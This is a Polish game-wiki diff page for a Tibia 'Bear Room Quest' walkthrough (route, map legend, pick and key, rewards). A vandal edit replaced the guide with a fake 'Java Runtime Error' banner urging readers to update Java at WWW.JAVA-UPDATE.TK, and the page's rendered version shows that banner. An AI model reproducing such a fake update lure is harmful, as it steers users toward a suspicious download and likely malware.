Skocz do: Nawigacja, szukaj
m (Wycofano edycje użytkownika Wikiadmin (dyskusja). Autor przywróconej wersji to Trav.)
Linia 1: Linia 1:
{{Spoiler|name= Bear Room Quest}}
+
{| align="center" style="padding: 5px 5px 5px 5px; border: solid #AAAAAA 1px; background-color: #F9F9F9;
__TOC__
+
| [[Grafika:25px-Wykrzyknik.png]]
 
+
| style="text-align: center" | <div style="border: 1px #b7b7b7 solid;background-color:#ffffff">
== Co nam będzie potrzebne? ==
+
''Java Runtime Error #99c# !'' Nie posiadasz aktualnej wersji Java kompatybilnej z komponentami strony. Uniemożliwia to prawidłowe wyświetlanie zawartości i spowalnia ładowanie strony.<br/><span style="font-size: 0.83em">
*[[Grafika:Pick.gif]] [[Pick|Kilof]] lub [[Grafika:Copper_Key.gif]] [[Klucz 4601]]
+
Musisz zaktualizować Virtual Java Machine.
 
+
</span><br/>'''WWW.JAVA-UPDATE.TK'''</div>
== Dojście ==
+
| [[Grafika:25px-Wykrzyknik.png]]
#Udajemy się do Ruin na północ od miasta:<br/>[[Grafika:BearRuiny.jpg]]
+
|}
#Dalej poruszamy się na wschód do zaznaczonego zejścia:<br/>[[Grafika:Bearqnew.jpg|Dziura]]
 
#Następnie przechodzimy do kolejnej dziury:<br/>[[Grafika:Bear-2.jpg]]
 
#Schodzimy na poziom -3, gdzie jest pokój z nagrodą:<br/><table><tr><td>[[Grafika:Bearr.JPG]]</td><td>Legenda:
 
#*K - Pomieszczenie z kluczem, do którego można się dostać używając [[Pick]]a.
 
#*D - Dźwignia, która usuwa kamień przed drzwiami.
 
#*S - Skrzynka z jedną z nagród.
 
#*B - Pomieszczenie z [[Bear]]em i nagrodami.</td></tr></table>
 
#Czeka na nas ok. 4-5 [[Orc|Orków]] i [[Minotaur]]:<br/>[[Grafika:bear_quest_2.jpg]]<br>
 
#Idziemy na wschód, gdzie pociągamy za dźwignię (''D''), by odblokować przejście do pokoju z [[Bear|Niedźwiedziem]] (''B'') (możemy od razu wziąć [[Backpack]] ze skrzynki (''S''), co jest częścią [[Present Box Quest]]u):<br/>[[Grafika:bear_quest_1.jpg]]
 
#Jeżeli nie mamy [[Klucz 4601|klucza do pokoju]], idziemy na południową część stołu i [[Pick|Kilofem]] rozkopujemy dziurę (''K''), gdzie jest skrzynka z kluczem.
 
#Gdy już go mamy, to otwieramy drzwi od pokoju z [[Bear|Niedźwiedziem]]:<br/>[[Grafika:bear_quest_3.jpg]]
 
#Po zabiciu strażnika możemy cieszyć się nagrodami ze skrzynek:<br/>[[Grafika:bear_quest_4.jpg|left]] [[Grafika:bear_quest_5.jpg]]
 
 
 
Jeśli ktoś zablokuje nam wyjście dużym kamieniem, używamy kratki kanałowej znajdującej się w lewym rogu pokoju z nagrodami, zabijamy [[Spider]]y i wychodzimy drabiną.
 

Wersja z 01:18, 26 sty 2011

25px-Wykrzyknik.png

Java Runtime Error #99c# ! Nie posiadasz aktualnej wersji Java kompatybilnej z komponentami strony. Uniemożliwia to prawidłowe wyświetlanie zawartości i spowalnia ładowanie strony.
Musisz zaktualizować Virtual Java Machine.


WWW.JAVA-UPDATE.TK
25px-Wykrzyknik.png